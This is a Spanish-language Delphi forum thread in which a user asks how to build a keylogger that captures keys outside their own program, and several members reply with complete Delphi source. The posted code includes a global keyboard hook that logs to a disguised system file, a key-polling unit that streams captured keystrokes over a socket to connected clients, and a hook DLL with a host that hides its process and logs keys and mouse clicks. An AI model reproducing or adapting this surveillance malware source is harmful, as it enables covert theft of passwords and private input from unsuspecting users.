Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > Internet
Registrarse FAQ Miembros Calendario Guía de estilo Buscar Temas de Hoy Marcar Foros Como Leídos

Grupo de Teaming del ClubDelphi

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 17-03-2005
unko! unko! is offline
Miembro
 
Registrado: ene 2005
Posts: 123
Poder: 20
unko! Va por buen camino
keylogger?

olas... alguien me puede enseñar como hacer un keylogger? no me refiero a algo "supremo" solo lo basico para hacerlo menos 'batalloso' para quien lo kiera explicar
PD-> ke funcione no solo en el programa, sino tambien fuera de el


thanx salu2!
__________________
HazTa La VikToRia... SIEMPRE!

Última edición por unko! fecha: 17-03-2005 a las 04:32:59. Razón: falto decir algo XD
Responder Con Cita
  #2  
Antiguo 20-01-2008
javier20 javier20 is offline
No confirmado
 
Registrado: oct 2006
Posts: 18
Poder: 0
javier20 Va por buen camino
creo que si mira este por ej usa hooks

Código Delphi [-]
//keylogger example by stm

program Project2;

uses
windows,messages;

var
szCurApp: string;
HookHandle: HHook;
lpMsg: TMsg;

function ExtractFilePath(APath:string):string;
var
LI,LJ:Integer;
begin
if (Length(APath)<>0) and (Pos('\',APath)>0) then
begin
  LJ:=0;
  for LI:=Length(APath) downto 1 do
   if APath[LI]='' then
   begin
    LJ:=LI;
    Break;
   end;
  Result:=Copy(APath,1,LJ);
end else Result:='';
end;

function CurrentDir:String;
var
  Buffer:array[0..260] of Char;
begin
  GetModuleFileName(0, Buffer, Sizeof(Buffer));
  result:=ExtractFilePath(Buffer);
end;

function JHProc(nCode:integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint; stdcall;
var
szletta,HBuf,ThePath:string;
hFile,BytesWritten:dword;
szCurAppNm:array[0..260] of Char;
Charry:Array[0..1] of Char;
VirtKey,ScanCode:Cardinal;
KeyState:TKeyBoardState;
nametext:Array[0..32] of Char;
begin
if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYDOWN)
  then begin
   VirtKey:=LOBYTE(EventStrut.paramL);
   ScanCode:=HIBYTE(EventStrut.paramL);
   ScanCode:=ScanCode shl 16;
   ThePath:=WinPath+'syskl32.ss';// syskl32.ss is where it stores the logged Keys

   hFile:=CreateFile(pchar(ThePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   SetFilePointer(hFile, 0, nil, FILE_END);
   GetWindowText(GetForegroundWindow, szCurAppNm, sizeof(szCurAppNm));
   if szCurAppNm <> szCurApp
    then begin
     szCurApp:=szCurAppNm;
     HBuf:=#13#10+#13#10+'[ '+szCurAppNm+' ]'+#13#10;
     WriteFile(hFile, pchar(HBuf)^, length(HBuf), BytesWritten, nil);
    end;
   GetKeyNameText(ScanCode,nametext,sizeof(nametext));
   if VirtKey = VK_CAPITAL then szletta:=#0
   else if VirtKey = VK_SHIFT then szletta:=#0
   else if VirtKey = VK_SPACE then szletta:=' '
   else if lstrlen(nametext) > 1 then szletta:='['+nametext+']'
   else
    begin
     GetKeyboardState(KeyState);
     ToAscii(VirtKey,ScanCode, KeyState, Charry, 0);
     szletta:=Charry;
    end;
   if szletta <> '' then WriteFile(hFile, pchar(szletta)^, length(szletta), BytesWritten, nil);
   CloseHandle(hFile);
  end;
CallNextHookEx(JHHandle, nCode, wParam, Integer(@EventStrut));
Result:=0;
end;

begin
HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0);
while 1=1
  do begin
   WaitMessage;
   GetMessage(lpMsg,0,0,0);
   if lpMsg.message = WM_CANCELJOURNAL then HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0);
  end;
end.
Responder Con Cita
  #3  
Antiguo 22-01-2008
Avatar de acertij022
acertij022 acertij022 is offline
Miembro
 
Registrado: may 2003
Ubicación: Argentina-Bs. As.
Posts: 233
Poder: 21
acertij022 Va por buen camino
Bueno te coloco un codigo que tengo, me imagino que esto no lo usaras mal no?

Código Delphi [-]
unit untLogger;

interface

uses SysUtils, Windows;

procedure GetLetter;
function Shift:Boolean;
function MoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
procedure ShowLetter(strLetter:string);
function ActiveCaption:string;

implementation

uses untServer, untCommands;

var
   cWindow:string;

procedure GetLetter;
var
   j:Integer;
   a:string;
begin
   //Verify if lettrers 'A'..'Z' is pressed
   for j:=65 to 90 do
      if Odd(GetAsyncKeyState(j)) then
         ShowLetter(Chr(j));
   //Verify if numpab is pressed
   for j:=96 to 105 do
      if Odd(GetAsyncKeyState(j)) then
         ShowLetter(IntToStr((j - 97) + 1));
   //Verify if F1 to F24 is pressed
   for j:=112 to 135 do
      if Odd(GetAsyncKeyState(j)) then
         ShowLetter('{F' + IntToStr(j - 112 + 1) + '}');
   //Verify if number 0 to 9 is pressed
   for j:=48 to 57 do
      if Odd(GetAsyncKeyState(j)) then
         if Shift then
         begin
            case j - 48 of
               1: ShowLetter('!');
               2: ShowLetter('@');
               3: ShowLetter('#');
               4: ShowLetter('$');
               5: ShowLetter('%');
               6: ShowLetter('^');
               7: ShowLetter('&');
               8: ShowLetter('*');
               9: ShowLetter('(');
               0: ShowLetter(')');
            end;
         end
         else
            ShowLetter(IntToStr(j - 48));
   if Odd(GetAsyncKeyState(VK_BACK)) then ShowLetter('{BACKSPACE}');
   if Odd(GetAsyncKeyState(VK_TAB)) then ShowLetter('{TAB}');
   if Odd(GetAsyncKeyState(VK_RETURN)) then ShowLetter(#13#10);
   if Odd(GetAsyncKeyState(VK_SHIFT)) then ShowLetter('{SHIFT}');
   if Odd(GetAsyncKeyState(VK_CONTROL)) then ShowLetter('{CONTROL}');
   if Odd(GetAsyncKeyState(VK_MENU)) then ShowLetter('{ALT}');
   if Odd(GetAsyncKeyState(VK_PAUSE)) then ShowLetter('{PAUSE}');
   if Odd(GetAsyncKeyState(VK_ESCAPE)) then ShowLetter('{ESC}');
   if Odd(GetAsyncKeyState(VK_SPACE)) then ShowLetter(' ');
   if Odd(GetAsyncKeyState(VK_END)) then ShowLetter('{END}');
   if Odd(GetAsyncKeyState(VK_HOME)) then ShowLetter('{HOME}');
   if Odd(GetAsyncKeyState(VK_LEFT)) then ShowLetter('{LEFT}');
   if Odd(GetAsyncKeyState(VK_RIGHT)) then ShowLetter('{RIGHT}');
   if Odd(GetAsyncKeyState(VK_UP)) then ShowLetter('{UP}');
   if Odd(GetAsyncKeyState(VK_DOWN)) then ShowLetter('{DOWN}');
   if Odd(GetAsyncKeyState(VK_INSERT)) then ShowLetter('{INSERT}');
   if Odd(GetAsyncKeyState(VK_MULTIPLY)) then ShowLetter('*');
   if Odd(GetAsyncKeyState(VK_ADD)) then ShowLetter('+');
   if Odd(GetAsyncKeyState(VK_SUBTRACT)) then ShowLetter('-');
   if Odd(GetAsyncKeyState(VK_DECIMAL)) then ShowLetter('.');
   if Odd(GetAsyncKeyState(VK_DIVIDE)) then ShowLetter('/');
   if Odd(GetAsyncKeyState(VK_NUMLOCK)) then ShowLetter('{NUM LOCK}');
   if Odd(GetAsyncKeyState(VK_CAPITAL)) then ShowLetter('{CAPS LOCK}');
   if Odd(GetAsyncKeyState(VK_SCROLL)) then ShowLetter('{SCROLL LOCK}');
   if Odd(GetAsyncKeyState(VK_DELETE)) then ShowLetter('{DELETE}');
   if Odd(GetAsyncKeyState(VK_PRIOR)) then ShowLetter('{PAGE UP}');
   if Odd(GetAsyncKeyState(VK_NEXT)) then ShowLetter('{PAGE DOWN}');
   if Odd(GetAsyncKeyState(VK_PRINT)) then ShowLetter('{PRINT SCREEN}');
   if MoreChars($BA,':',';',a) then ShowLetter(a);
   if MoreChars($BB,'+','=',a) then ShowLetter(a);
   if MoreChars($BC,'<',',',a) then ShowLetter(a);
   if MoreChars($BD,'_','-',a) then ShowLetter(a);
   if MoreChars($BE,'>','.',a) then ShowLetter(a);
   if MoreChars($BF,'?','/',a) then ShowLetter(a);
   if MoreChars($C0,'~','`',a) then ShowLetter(a);
   if MoreChars($DB,'{','[',a) then ShowLetter(a);
   if MoreChars($DC,'|','\',a) then ShowLetter(a);
   if MoreChars($DD,'}',']',a) then ShowLetter(a);
   if MoreChars($DE,'"','''',a) then ShowLetter(a);
   {PrintScreen}
end;

function MoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
begin
   MoreChars:=True;
   if Odd(GetAsyncKeyState(CharNumber)) then
   begin
      if Shift then
         Answer:=TruePart
      else
         Answer:=FalsePart;
      Exit;
   end;
   MoreChars:=False;
end;

function Shift:Boolean;
begin
   Shift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;

procedure ShowLetter(strLetter:string);
var
   k,t:Integer;
   cActive:string;
begin
   t:=frmServer.ServerLogger.Socket.ActiveConnections;
   if t <= 0 then
   begin
      frmServer.TmrLogger.Enabled:=False;
      Exit;
   end;
   cActive:=ActiveCaption;
   if cWindow <> cActive then
   begin
      cWindow:=cActive;
      strLetter:=#13#10 + '>> ' + cWindow + ' <<' + #13#10 + strLetter;
   end;
   for k:=0 to t - 1 do
      try
         frmServer.ServerLogger.Socket.Connections[k].SendText(strLetter);
      except
      end;
end;

function ActiveCaption:string;
var
   Handle:THandle;
   Len:LongInt;
   Title:string;
begin
   Handle:=GetForegroundWindow;
   Len:=GetWindowTextLength(Handle) + 1;
   SetLength(Title,Len);
   GetWindowText(Handle,PChar(Title),Len);
   ActiveCaption:=TrimRight(Title);
end;

end.

Luego en el formulario principal colocas un timer con GetLetter;
este codigo lo manda por socket, pero lo podes modificar para que te lo muestre en un memo o lo escriba a un archivo
Responder Con Cita
  #4  
Antiguo 25-01-2008
fide fide is offline
Miembro
 
Registrado: oct 2006
Posts: 331
Poder: 18
fide Va por buen camino
Eso esta muy bueno!

Los KeyLogger que yo he creado son mas o menos asi!
Responder Con Cita
  #5  
Antiguo 25-01-2008
Avatar de delphi.com.ar
delphi.com.ar delphi.com.ar is offline
Federico Firenze
 
Registrado: may 2003
Ubicación: Buenos Aires, Argentina *
Posts: 5.932
Poder: 26
delphi.com.ar Va por buen camino
Siempre quise evitar subir código de este tipo, aunque existan infinidades de ejemplos en la web, pero bueno.. ahí va:

Este keylogger lo hice para poder generar información de debug, según lo que hacía el usuario para su posterior debug, fue algo que salió demaciado rapidito, así que hay unas cuantas "chanchadas" en el código, tengo una aplicación que lee el archivo que genera y repite la acción, aunque creo que no funcionaba en forma completa.

Código Delphi [-]

{*******************************************************}
{                                                       }
{  Logger                                               }
{                                                       }
{  2001, Federico Firenze, Buenos Aires, Argentina      }
{                                                       }
{*******************************************************}

library HookDLL;

uses
  Windows,
  Messages;

const
  CM_WH_BASE = WM_USER + $1234;
  CM_WH_KEYBOARD = CM_WH_BASE;
  CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
  CM_WH_MOUSE = CM_WH_BASE + 2;

var
  whKeyboard,
  whWndProc,
  whMouse: HHook;
  MemFile: THandle;
  Reciever: ^Integer;

function KeyboardHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  if (code = HC_ACTION) then
  begin
    MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
    if (MemFile <> 0) then
    begin
      Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);
      PostMessage(Reciever^, CM_WH_KEYBOARD, wParam, lParam);
      UnmapViewOfFile(Reciever);
      CloseHandle(MemFile);
    end;
  end;

  Result := CallNextHookEx(whKeyboard, Code, wParam, lParam)
end;

function WndProcHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  cwps: CWPSTRUCT;
begin
  if (code = HC_ACTION) then
  begin
    MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
    if (MemFile <> 0) then
    begin
      Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);

      CopyMemory(@cwps, Pointer(lParam), SizeOf(CWPSTRUCT));
      case cwps.message of
        WM_ACTIVATE:
          PostMessage(Reciever^, CM_WH_WNDMESSAGE, cwps.hwnd, cwps.message);
      end;

      UnmapViewOfFile(Reciever);
      CloseHandle(MemFile);
    end;
  end;

  Result := CallNextHookEx(whWndProc, Code, wParam, lParam);
end;

function MouseHookCallBack(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  mhs: MOUSEHOOKSTRUCT;
begin
  if (code = HC_ACTION) and (wParam <> WM_MOUSEMOVE) then
  begin
    MemFile := OpenFileMapping(FILE_MAP_READ, False, 'KeyReciever');
    if (MemFile <> 0) then
    begin
      Reciever := MapViewOfFile(MemFile, FILE_MAP_READ, 0, 0, 0);

      CopyMemory(@mhs, Pointer(lParam), SizeOf(MOUSEHOOKSTRUCT));
      PostMessage(Reciever^, wParam, mhs.pt.X, mhs.pt.y);
      UnmapViewOfFile(Reciever);
      CloseHandle(MemFile);
    end;
  end;

  Result := CallNextHookEx(whMouse, Code, wParam, lParam)
end;


procedure StartHook; stdcall;
begin
  whKeyboard := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookCallBack, hInstance, 0);
  whWndProc := SetWindowsHookEx(WH_CALLWNDPROC, @WndProcHookCallBack, hInstance, 0);
  whMouse := SetWindowsHookEx(WH_MOUSE, @MouseHookCallBack, hInstance, 0);
end;

procedure EndHook; stdcall;
begin
  UnhookWindowsHookEx(whKeyboard);
  UnhookWindowsHookEx(whWndProc);
  UnhookWindowsHookEx(whMouse);
end;

exports
  StartHook name 'Start',
  EndHook name 'End';

begin
end.

Código Delphi [-]

{*******************************************************}
{                                                       }
{  Logger                                               }
{                                                       }
{  2001, Federico Firenze, Buenos Aires, Argentina      }
{                                                       }
{*******************************************************}

program KeyLogger;

uses
  Windows,
  Messages,
  SysUtils;

{.$DEFINE DEBUG}
{$DEFINE TICKET}

const
  DLLName = 'HookDLL.dll';
  CM_WH_BASE = WM_USER + $1234;
  CM_WH_KEYBOARD = CM_WH_BASE;
  CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
  BUFFER_SIZE = 100;

type
  TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
  THookProcedure = Procedure; stdcall;

procedure HideApp;
var
  hNdl: THandle;
  RegisterServiceProcess: TRegisterServiceProcess;
begin
  if Win32Platform = VER_PLATFORM_WIN32s Then
  begin
    hNdl := LoadLibrary(kernel32);
    try
      RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
      RegisterServiceProcess(GetCurrentProcessID, 1);
    finally
      FreeLibrary(hNdl);
    end;
  end;
end;

function WindowProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
begin
 Result := 0;
 case uMsg of
   //WM_CLOSE:
   WM_DESTROY:
     Halt;
 else
   Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
 end;
end;

var
  hInst: LongWord;
  WinClass: TWndClass;
  Handle,
  hCurrentWnd: HWND;
  Msg: TMsg;
  DLLHandle,
  hLogFile,
  FileMap: THandle;
  StartHook,
  EndHook: THookProcedure;
  Reciever: ^Integer;
  PText: PByteArray;
  TextSize,
  BytesWritten: DWORD;
  S: string;
begin
 Try
   HideApp;
   hInst := hInstance;
   hCurrentWnd := 0;

   { Crea una ventana sin usar un TForm }
   with WinClass do
   begin
     Style              := CS_CLASSDC or CS_PARENTDC;
     lpfnWndProc        := nil;
     lpfnWndProc        := @WindowProc;
     hInstance          := hInst;
     hbrBackground      := COLOR_BTNFACE + 1; //or $80000000;
     lpszClassname      := 'Logger';
     hCursor            := LoadCursor(0, IDC_ARROW);
   end;
   if Windows.RegisterClass(WinClass) <> 0 then
   begin
     Handle := CreateWindowEx(WS_EX_WINDOWEDGE,
                              WinClass.lpszClassName, WinClass.lpszClassName,
                              {$IFDEF DEBUG}WS_VISIBLE+{$ENDIF}WS_OVERLAPPED,
                              0, 0, 0, 0, 0, 0, hInstance, nil);
     if Handle <> 0 Then
     begin
        DLLHandle := LoadLibrary(DLLName);
        if (DLLHandle <> 0) then
          try
            @StartHook := GetProcAddress(DLLHandle, 'Start');
            @EndHook := GetProcAddress(DLLHandle, 'End');
            if Assigned(StartHook) and Assigned(EndHook) then
            begin
              hLogFile := CreateFile('C:\MiArchivo.log', GENERIC_WRITE, FILE_SHARE_READ, Nil, OPEN_ALWAYS, 0, 0);
              if hLogFile <> 0 then
                try
                  SetFilePointer(hLogFile, 0, Nil, FILE_END);
                  FileMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'KeyReciever');
                  if (FileMap <> 0) then
                    try
                      Reciever := MapViewOfFile(FileMap, FILE_MAP_WRITE, 0, 0, 0);
                      Reciever^ := Handle;

                      GetMem(PText, BUFFER_SIZE);
                      try
                        StartHook;
                        try
                          while(GetMessage(Msg, Handle, 0, 0)) do
                          begin
                             case Msg.message  of
                               WM_DESTROY, WM_CLOSE:
                                 Break;
                               CM_WH_KEYBOARD:
                                 if ((Msg.lParam shr 31) and 1) <> 1 then
                                 begin
                                   if hCurrentWnd <> 0 then
                                   begin
                                     TextSize := GetWindowText(hCurrentWnd, Pointer(PText), BUFFER_SIZE);
                                     hCurrentWnd := 0;
                                     if TextSize > 0 then
                                     begin
                                       Move(PText[0], PText[3], TextSize);
                                       PText^[0] := 13;
                                       PText^[1] := 10;
                                       PText^[2] := 123;
                                       TextSize := TextSize + 6;
                                       PText^[TextSize-3] := 125;
                                       PText^[TextSize-2] := 13;
                                       PText^[TextSize-1] := 10;
                                       {$IFDEF DEBUG}
                                       SetWindowText(Handle, Pointer(PText));
                                       {$ENDIF}
                                       WriteFile(hLogFile, PText^, TextSize, BytesWritten, nil);
                                     end;
                                   end;

                                   if LoWord(Msg.wParam) = 13 then
                                   begin
                                     PText^[0] := 13;
                                     PText^[1] := 10;
                                     TextSize := 2;
                                   end else
                                   if LoWord(Msg.wParam) = 32 then
                                   begin
                                     PText^[0] := 32;
                                     TextSize := 1;
                                   end else
                                   begin
                                     TextSize := GetKeyNameText(Msg.LParam, Pointer(PText), BUFFER_SIZE);
                                     if TextSize > 1 then
                                     begin
                                       Move(PText[0], PText[1], TextSize);
                                       PText^[0] := 91;
                                       TextSize := TextSize + 2;
                                       PText^[TextSize-1] := 93;
                                     end;

                                     {$IFDEF DEBUG}
                                     PText^[TextSize] := 0;
                                     SetWindowText(Handle, Pointer(PText));
                                     {$ENDIF}
                                   end;
                                   WriteFile(hLogFile, PText^, TextSize, BytesWritten, nil);
                                 end;
                               CM_WH_WNDMESSAGE:
                               begin
                                 hCurrentWnd := Msg.wParam;
                               end;

                               WM_MOUSEMOVE,
                               WM_LBUTTONDOWN, WM_LBUTTONUP, WM_LBUTTONDBLCLK,
                               WM_RBUTTONDOWN, WM_RBUTTONUP, WM_RBUTTONDBLCLK,
                               WM_MBUTTONDOWN, WM_MBUTTONUP, WM_MBUTTONDBLCLK,
                               WM_MOUSEWHEEL:
                               begin
                                 {$IFDEF TICKET}
                                 S := '<' + DateTimeToStr(Now) + '>';
                                 WriteFile(hLogFile, S[1], Length(S), BytesWritten, nil);
                                 {$ENDIF}

                                 PText^[0] := Ord('<');
                                 case Msg.message of
                                   WM_MOUSEMOVE:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('M');
                                   end;
                                   WM_LBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_LBUTTONUP:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_LBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONUP:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_RBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONUP:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MOUSEWHEEL:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('W');
                                   end;
                                 end;
                                 PText^[3] := Ord(';');
                                 S := IntToStr(Msg.lParam) + ';' + IntToStr(Msg.wParam) + '>';

                                 Move(S[1], PText[4], Length(S));

                                 WriteFile(hLogFile, PText^, 4 + Length(S), BytesWritten, nil);

                                 {$IFDEF TICKET}
                                 PText^[0] := 13;
                                 PText^[1] := 10;
                                 WriteFile(hLogFile, PText^, 2, BytesWritten, nil);
                                 {$ENDIF}
                               end;
                             end;

                             TranslateMessage(Msg);
                             DispatchMessage(Msg);
                          end;
                        finally
                          EndHook;
                        end;
                      finally
                        FreeMem(PText, BUFFER_SIZE);
                      end;
                    finally
                      UnmapViewOfFile(Reciever);
                      CloseHandle(FileMap);
                    end;
                finally
                  CloseHandle(hLogFile);
                end;
            end;
          finally
            FreeLibrary(DLLHandle);
          end;
     end;
   end;
 except
   {$IFDEF DEBUG}
   raise;
   {$ENDIF}
 end;
end.


Aclaro que borré algunas funciones innecesarias para el ejemplo y el llamado a otras units, sin probar si compila o no.
Por otro lado verán la forma ridícula de llenar la información en el PArray...

Saludos!
__________________
delphi.com.ar

Dedique el tiempo suficiente para formular su pregunta si pretende que alguien dedique su tiempo en contestarla.

Última edición por delphi.com.ar fecha: 25-01-2008 a las 16:57:06.
Responder Con Cita
  #6  
Antiguo 26-03-2012
player1 player1 is offline
Registrado
 
Registrado: nov 2007
Posts: 7
Poder: 0
player1 Va por buen camino
Buenas. Necesitaria hace un key logger pero en lazarus. Alguien sabe por donde puedo empezar?
Responder Con Cita
  #7  
Antiguo 27-03-2012
Avatar de Casimiro Notevi
Casimiro Notevi Casimiro Notevi is offline
Moderador
 
Registrado: sep 2004
Ubicación: En algún lugar.
Posts: 32.021
Poder: 10
Casimiro Notevi Tiene un aura espectacularCasimiro Notevi Tiene un aura espectacular
Para empezar... ahí arriba tienes un código
Responder Con Cita
  #8  
Antiguo 27-03-2012
Avatar de rretamar
[rretamar] rretamar is offline
Miembro Premium
 
Registrado: ago 2006
Ubicación: San Francisco, Córdoba, Argentina
Posts: 1.168
Poder: 20
rretamar Va camino a la famarretamar Va camino a la fama
Más veo ejemplos de código fuente como estos, y más me convenzo de la belleza del lenguaje Object Pascal.
__________________
Lazarus Codetyphon : Desarrollo de aplicaciones Object Pascal, libre y multiplataforma.
Responder Con Cita
  #9  
Antiguo 09-04-2014
FENIXadr FENIXadr is offline
Miembro
 
Registrado: may 2010
Ubicación: Córdoba - Cba. - Argentina
Posts: 101
Poder: 14
FENIXadr Va por buen camino
Hola gente... tengo un problemita que veo que mucha gente en la web lo ha consultado y nadie la ha podido solucionar.. la cosa es que tengo en mi PC un Hook de teclado parecido al que publicó delphi.com.ar funciona casi a las mil maravillas .. casi.. el inconveniente surge cuando quiero poner los acentos.. ahi fue.. se le acabó la dulzura... alguien sabe como solucionar este problema... o sea.. no es el hecho de que capture o no las letras con acento.. el problema real es que me quedo sin acentos en tooooooodos los programas.. es más .. mi teclado no tiene signo mayor ni menor (<>) ... no me pregunten porque corno.. pero asi es.. para colocarlos debo teclear Alt+60 o Alt+62, respectivamente, del tecladito numérico... bue.. eso tampoco me funciona con un hook en el teclado.. si alguien puede darme una ayudiata.. se agradecerá..

Saludos..
Responder Con Cita
  #10  
Antiguo 12-04-2014
FENIXadr FENIXadr is offline
Miembro
 
Registrado: may 2010
Ubicación: Córdoba - Cba. - Argentina
Posts: 101
Poder: 14
FENIXadr Va por buen camino
Solucionado aqui
Responder Con Cita
Respuesta


Herramientas Buscar en Tema
Buscar en Tema:

Búsqueda Avanzada
Desplegado

Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro


La franja horaria es GMT +2. Ahora son las 17:38:55.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi